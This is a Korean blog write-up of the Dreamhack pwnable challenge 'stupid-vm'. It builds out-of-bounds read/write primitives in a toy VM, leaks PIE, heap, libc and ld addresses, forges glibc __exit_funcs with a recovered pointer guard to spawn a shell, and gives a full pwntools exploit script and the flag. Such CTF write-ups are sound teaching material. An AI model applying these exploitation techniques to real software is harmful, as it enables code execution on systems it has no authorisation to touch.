[Dreamhack] stupid-vm

2026. 10. 23. 02:32·Cyber Security/Pwnable
반응형

내 클래스는 현재 1 1 1 1이고, 원래는 클래스 깨는게 본업이지만 포너블은 왠지 모르게 자신 있어서 틈틈이 어려운 문제들을 한두 개씩 찔러보고 있다.

그 시작은 며칠 전 도전해본 G1 문제인 tiny backdoor 인데, 화햇 팀플 최종발표날에 스벅에서 플래그 따고 서울에서 대전 내려오는 동안 머리가 지끈거리고 핑핑 돌면서 좋았던 그 기분이 잊혀지지가 않는다.

이 문제 역시 끔찍하게 어려웠지만 끔찍하게 재밌었다

분석

일단 파악해야 될 것 같은 것들 세 가지

  • vm_step 함수의 인스트럭션 종류
    • 0x90: No operation
    • 0xFF: 종료 바이트를 1로 변경하고 종료
      • *(_BYTE *)(vm + 2072) = 1;
    • 0x01 [index] [x]: 지정한 레지스터에 x값을 XOR
      • *(_BYTE *)(vm + v12 + 2056) ^= *v6;
    • 0x11 [index]: Reg 0~7가 가리키는 주소에 지정한 레지스터 값 1바이트를 저장
      • *(_BYTE *)(vm + *(_QWORD *)(vm + 2056) + 8) = *(_BYTE *)(vm + v10 + 2056);
      • Reg 0~7의 값을 변경해 저장 위치를 움직일 수 있음
    • 0x10 [index]: Reg 0~7가 가리키는 주소의 1바이트를 지정한 레지스터에 로드
      • *(_BYTE *)(vm + v11 + 2056) = *(_BYTE *)(vm + *(_QWORD *)(vm + 2056) + 8);
    • 0x20 [index]: 지정한 레지스터 값 1바이트 출력
      • *(unsigned __int8 *)(vm + v9 + 2056)
  • vm에 대한 구체적인 그림
  • 명령 실행 과정에서 어떤 취약점이 있는지
    • 뭔가 Arbitrary Read/Write 둘 다 냄새가 난다.
    • OOB Write
      • 쓸 오프셋: 0x01로 Reg 0~7 조작
      • 쓸 값: 0x01로 Reg 8~15 조작
      • 트리거: 0x11 로 오프셋에 값 쓸 수 있음
    • OOB Read
      • 읽을 오프셋: 0x01로 Reg 0~7 조작
      • 트리거: 0x10으로 레지스터에 값 저장하고 0x20 로 출력
    • 이 두 개를 이용해 AR/AW로 확장시키기

결국 AR/AW를 둘 다 줄테니 방어기법들 모두 우회하고 익스하라는 문제.. 꽤 먼 여정이 될 듯 하다..

OOB Read/Write Primitive

편하게 명령어를 구성하기 위한 헬퍼 함수들을 작성해 두자

주의할 점은 main 함수에서 while루프를 돌 때마다 vm의 상태를 초기화한다는 것이다. 이 경우 아래와 같이 read_reg와 write_reg를 구현하는 것은 불가능하다.

# 실패한 구현

def read_reg(index: int) -> bytes:
    p.sendafter(b"Your Program: ", b"\x20" + index.to_bytes(1) + b"\x91")
    p.recvuntil(f"Reg {index}: 0x".encode())

    return bytes.fromhex(p.recvline().rstrip())

def write_reg(index: int, value: bytes):
    current = read_reg(index)
    input = bytes([current[0] ^ value[0]])
    p.sendafter(b"Your Program: ", b"\x01" + index.to_bytes(1) + input + b"\x91")

print(write_reg(2, b"\x02")) # Reg 2에 0x02를 씀
print(read_reg(2))           # Reg 2의 값은 0x02가 아니라 0x00를 반환함

분명 Reg 2에 0x02를 썼는데 쓰고 나서 읽어보면 0x00가 반환된다. write_reg 호출 이후 vm이 초기화됐기 때문이다.

따라서 값을 넣고 옮기는 vm 인스트럭션의 구조를 잘 이용해서 필요한 작업을 사이클 단위로 한 번에 끝내야 한다.

이 과정에서 얻은 건 두 가지:

  • 명령어 끝에 b"\x91" 를 붙여주면 vm_run 의 루프를 탈출하고 vm의 상태를 초기화하고 새로운 명령어를 받게할 수 있다.
  • sendafter로 b"Your Program: " 을 기다려줘야 입력 싱크가 맞는다. 만약 기다리지 않고 때려넣으면 나눠서 처리해야 하는 명령어를 C의 read가 한번에 읽어버려 한번에 실행된다.

OOB Read/Write Primitive는 아래와 같다.

def print_reg(index: int) -> bytes:
    return b"\x20" + index.to_bytes(1)

def xor_reg(index: int, value: bytes) -> bytes:
    return b"\x01" + index.to_bytes(1) + value

def load_reg(index: int) -> bytes:
    return b"\x10" + index.to_bytes(1)

def store_reg(index: int) -> bytes:
    return b"\x11" + index.to_bytes(1)

def get64(offset: int) -> bytes:
    payload = b""

    old_offset = 0
    for i in range(8):
        new_offset = offset - 8 + i
        xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)

        payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
        payload += load_reg(i + 8)
        payload += print_reg(i + 8)

        old_offset = new_offset

    payload += b"\x91"

    p.sendafter(b"Your Program: ", payload)

    b = bytearray()
    for i in range(8):
        p.recvuntil(f"Reg {i + 8}: 0x".encode())
        received = bytes.fromhex(p.recvline().rstrip())[0]
        b.append(received)

    return bytes(b[::-1])

def set64(offset: int, value: bytes) -> None:
    value_bytes = value.rjust(8, b"\x00")[::-1]
    payload = b""

    old_offset = 0
    for i in range(8):
        new_offset = offset - 8 + i
        xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)

        payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
        payload += xor_reg(i + 8, value_bytes[i : i + 1])
        payload += store_reg(i + 8)

        old_offset = new_offset

    payload += b"\x91"

    p.sendafter(b"Your Program: ", payload)

PIE 우회

PIE 우회는 그냥 vm 주소에 박혀있는 code 주소를 읽어오면 된다.

ASLR은 하위 12비트는 바꾸지 않기 때문에 code 주소는 항상 0x060으로 끝난다. 따라서 바이트 읽는 과정에서 올림되는 건 딱히 신경쓰지 않아도 된다.

code_addr = int.from_bytes(get64(0)) - 0x1A
main_base = code_addr - 0x4060

vm 힙 주소 leak

AR/AW를 따려면 vm_ptr쪽에 저장된 vm의 힙 주소를 얻어야 한다.

위 코드에서 잘못된 명령어가 들어오면 명령어 값을 출력하는 것을 이용해 leak을 시도해볼 수 있을 것 같다.

pwndbg> x/10gx $vm
0x5de7bc81b2a0: 0x00005de796d6007a      0x0000000000000000
0x5de7bc81b2b0: 0x0000000000000000      0x0000000000000000
0x5de7bc81b2c0: 0x0000000000000000      0x0000000000000000
0x5de7bc81b2d0: 0x0000000000000000      0x0000000000000000
0x5de7bc81b2e0: 0x0000000000000000      0x0000000000000000
pwndbg> x/10gx $vm_ptr
0x5de796d60860 <vm>:    0x00005de7bc81b2a0      0x0000000000000000
0x5de796d60870: 0x0000000000000000      0x0000000000000000
0x5de796d60880: 0x0000000000000000      0x0000000000000000
0x5de796d60890: 0x0000000000000000      0x0000000000000000
0x5de796d608a0: 0x0000000000000000      0x0000000000000000

$vm 내에 있는 값들은 모두 OOB로 조작 가능하므로 $vm 의 첫 번째에 위치한 code의 주소를 $vm_ptr 의 주소로 조작한다면 $vm_ptr 에 담긴 $vm의 힙 할당 주소를 1바이트씩 leak 할 수 있다.

조작 방법은 일단 NOP인 0x90를 여러번 해서 명령어 하위 12비트가 0x8xx가 되도록 만든다. 이후 최하위 1바이트를 60으로 만들면 0x860이 되면서 $vm_ptr 과 같아진다.

vm_addr = b""
for i in range(8):
    value = (96 + i).to_bytes(1)

    payload = b""
    payload += b"\x90" * 0x7A0
    payload += b"".join(
        xor_reg(i, b"\xf8\xff\xff\xff\xff\xff\xff\xff"[i : i + 1]) for i in range(8)
    )
    payload += xor_reg(8, value)
    payload += store_reg(8)

    p.sendafter(b"Your Program: ", payload)
    p.recvuntil(b"Unknown opcode 0x")
    vm_addr += bytes.fromhex(p.recv(2))
vm_addr = u64(vm_addr)

실패 가능성

이때 만약 힙 주소의 각 바이트가 명령어(0x90, 0xFF, 0x01, 0x11, 0x10, 0x20)면 leak이 실패할 수도 있다. 유저랜드이므로 최상위 2바이트는 00으로 고정이고, 힙 메모리 주소는 16바이트 정렬이므로 최하위 1바이트는 0xFF, 0x01, 0x11이 될 수 없다.

이를 이용해 실패 확률을 계산해보면 다음과 같다.

$$
\frac{7}{255}\times5+\frac{3}{255}\approx0.15
$$

15퍼센트 확률로 leak에 실패한다. 실패 확률이 꽤 커서 확실한 방법을 원했지만 현재로서는 다른 방법이 떠오르지 않는다.

Arbitrary Read/Write Primitive

위에서 쌓아놓은 기반으로 AR/AW 프리미티브는 간단하게 구현 가능하다.

def read64(address: int) -> int:
    return get64(address - vm_addr)

def write64(address: int, value: bytes) -> None:
    set64(address - vm_addr, value)

Exploitation

Arbitrary Read/Write까지는 생각보다 수월했지만 찐빼이는 이제부터다.

minmoong@win11:~/wargame/P4/933159c5-46cd-49be-8e36-3778d3ea3986$ checksec main
[*] '/home/minmoong/wargame/P4/933159c5-46cd-49be-8e36-3778d3ea3986/main'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
  • PIE 우회는 이미 했음
  • Full RELRO라서 GOT Overwrite은 불가능
  • 다른 건 다 있으면서 뜬금없이 스택 카나리는 왜 없는지 의문
  • 섀도스택이라 ROP는 못 할듯
  • IBT라서 EIP 이동한 곳에 무조건 endbr64가 있어야함

찾아보면 __exit_funcs를 덮는 방법이 위 모든 보호기법에 걸리지 않는다는 것을 알 수 있었다.

libc leak

GOT에 있는 puts의 주소를 읽어와서 libc leak

puts_offset = libc.symbols["puts"]
libc_base = read64(main_base + 0x3FA8) - puts_offset

ld leak

rtld_global = read64(libc_base + 0x202F88)
ld_base = rtld_global - 0x38000

libc의 GOT에 있는 _rtld_global 포인터로 가서 ld leak

Overwrite __exit_funcs

https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.h#L55

https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.c#L98

위의 glibc 2.39 exit.h과 exit.c 소스를 참고하고 디버거로 레이아웃을 실제로 보면서 어디를 어떻게 덮어야할지 구상한다.

그런데 문제는 함수 포인터를 맹글링해서 저장한다는 것이다. fs:0x30에 위치한 pointer guard로 XOR한 다음 ROL한다.

이걸 우회하려면 아래 절차에 따라 pointer guard를 역산해야 한다.

$$
ROL(original\;\oplus\;guard) = mangled
$$

$$
original\;\oplus\;guard = ROR(mangled)
$$

$$
guard = ROR(mangled)\;\oplus\;original
$$

즉 박혀있는 mangled의 원래 주소를 알고있다면 가드를 역산하는게 가능하다.

확인 결과 ld base로부터 0x5380만큼 떨어져있는 함수였고 ld leak을 했기 때문에 주소를 구할 수 있고 가드 역산까지 가능하다.

이후 system의 주소를 맹글링해서 덮어쓰고 arg는 맹글링하지 않고 그대로 /bin/sh의 주소를 주면 된다.

def ptr_mangle(ptr, guard):
    mangled = ptr ^ guard
    return (mangled << 0x11 & (2**64 - 1)) | (mangled >> (0x40 - 0x11))

def ptr_demangle(ptr, guard):
    ptr = (ptr << 0x2F & (2**64 - 1)) | (ptr >> 0x11)
    return ptr ^ guard

initial = libc_base + libc.symbols["initial"]

binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]

original_func_ptr = ld_base + 0x5380
pointer_guard = ptr_demangle(read64(initial + 0x18), original_func_ptr)

write64(initial + 0x18, ptr_mangle(system, pointer_guard).to_bytes(8))
write64(initial + 0x20, binsh.to_bytes(8))

Triggering __run_exit_handlers

VM을 엑싯하면 이제 덮어쓴 system("/bin/sh")가 호출된다.

p.sendafter(b"Your Program: ", b"\xff")

Final payload

from pwn import *

def print_reg(index: int) -> bytes:
    return b"\x20" + index.to_bytes(1)

def xor_reg(index: int, value: bytes) -> bytes:
    return b"\x01" + index.to_bytes(1) + value

def load_reg(index: int) -> bytes:
    return b"\x10" + index.to_bytes(1)

def store_reg(index: int) -> bytes:
    return b"\x11" + index.to_bytes(1)

def get64(offset: int) -> int:
    payload = b""

    old_offset = 0
    for i in range(8):
        new_offset = offset - 8 + i
        xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)

        payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
        payload += load_reg(i + 8)
        payload += print_reg(i + 8)

        old_offset = new_offset

    payload += b"\x91"

    p.sendafter(b"Your Program: ", payload)

    b = bytearray()
    for i in range(8):
        p.recvuntil(f"Reg {i + 8}: 0x".encode())
        received = bytes.fromhex(p.recvline().rstrip())[0]
        b.append(received)

    return u64(b)

def set64(offset: int, value: bytes) -> None:
    value_bytes = value.rjust(8, b"\x00")[::-1]
    payload = b""

    old_offset = 0
    for i in range(8):
        new_offset = offset - 8 + i
        xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)

        payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
        payload += xor_reg(i + 8, value_bytes[i : i + 1])
        payload += store_reg(i + 8)

        old_offset = new_offset

    payload += b"\x91"

    p.sendafter(b"Your Program: ", payload)

def read64(address: int) -> int:
    return get64(address - vm_addr)

def write64(address: int, value: bytes) -> None:
    set64(address - vm_addr, value)

def ptr_mangle(ptr, guard):
    mangled = ptr ^ guard
    return (mangled << 0x11 & (2**64 - 1)) | (mangled >> (0x40 - 0x11))

def ptr_demangle(ptr, guard):
    ptr = (ptr << 0x2F & (2**64 - 1)) | (ptr >> 0x11)
    return ptr ^ guard

context.arch = "amd64"
context.log_level = "debug"

libc = ELF("./libc.so.6")
# breakrva XOR, LOAD, PRINT, STORE
# p = gdb.debug(
#     "./main",
#     """
# b *vm_step
# breakrva 0x14C5
# breakrva 0x13C4
# breakrva 0x153A
# breakrva 0x1442
# c
# """,
# )
# p = process("./main_patched")
p = remote("host3.dreamhack.games", 12236)

# PIE bypass
code_addr = get64(0) - 0x1A
main_base = code_addr - 0x4060

# vm heap address leak
vm_addr = b""
for i in range(8):
    value = (96 + i).to_bytes(1)

    payload = b""
    payload += b"\x90" * 0x7A0
    payload += b"".join(
        xor_reg(i, b"\xf8\xff\xff\xff\xff\xff\xff\xff"[i : i + 1]) for i in range(8)
    )
    payload += xor_reg(8, value)
    payload += store_reg(8)

    p.sendafter(b"Your Program: ", payload)
    p.recvuntil(b"Unknown opcode 0x")
    vm_addr += bytes.fromhex(p.recv(2))
vm_addr = u64(vm_addr)

# libc leak
puts_offset = libc.symbols["puts"]
libc_base = read64(main_base + 0x3FA8) - puts_offset
print("Libc base: " + hex(libc_base))

# ld leak
rtld_global = read64(libc_base + 0x202F88)
ld_base = rtld_global - 0x38000

# *__exit_funcs structure manipulation
initial = libc_base + libc.symbols["initial"]

binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]

original_func_ptr = ld_base + 0x5380
pointer_guard = ptr_demangle(read64(initial + 0x18), original_func_ptr)

write64(initial + 0x18, ptr_mangle(system, pointer_guard).to_bytes(8))
write64(initial + 0x20, binsh.to_bytes(8))

p.sendafter(b"Your Program: ", b"\xff")

p.interactive()

FLAG!

감격의순간

플래그: DH{3V3RY7H1NG_L34K5:nAIZkLPiiACp7hJu4Q+PhA==}

반응형

'Cyber Security > Pwnable' 카테고리의 다른 글

CVE-2021-39863 - Adobe Acrobat Reader DC 취약점 내용 정리  (0) 2026.04.24
'Cyber Security/Pwnable' 카테고리의 다른 글
  • CVE-2021-39863 - Adobe Acrobat Reader DC 취약점 내용 정리
minmoong
minmoong
    반응형
  • minmoong
    minmoong
    minmoong
  • 전체
    오늘
    어제
    • Categories (8)
      • Programming (0)
        • Python (0)
        • WIPI (0)
      • Cyber Security (6)
        • Pwnable (2)
        • Reversing (3)
        • Crypto (0)
        • Web (0)
      • Computer Science (1)
        • Quantum Computing (1)
      • 기타 (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    역대급 병크
    Cpython
    WIPI 에뮬레이터
    github wie
    dreamhack
    c++
    렙업만이살길2
    밀크초코 채팅
    리버싱 기법
    cpython-internals
    리버싱
    초광속통신
    WIPI 에뮬
    파이썬
    밀초 버그
    렙업만이살길
    Python
    게임 해킹
    hopper disassembler 염병
    WIPI emulator
    후킹
    밀초 채팅 버그
    렙업만이살길1
    stupid-vm
    렙업만이살길3
    게임 리버싱
    채팅 버그
    밀초
    리버스 엔지니어링
    BiDi
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
minmoong
[Dreamhack] stupid-vm
상단으로

티스토리툴바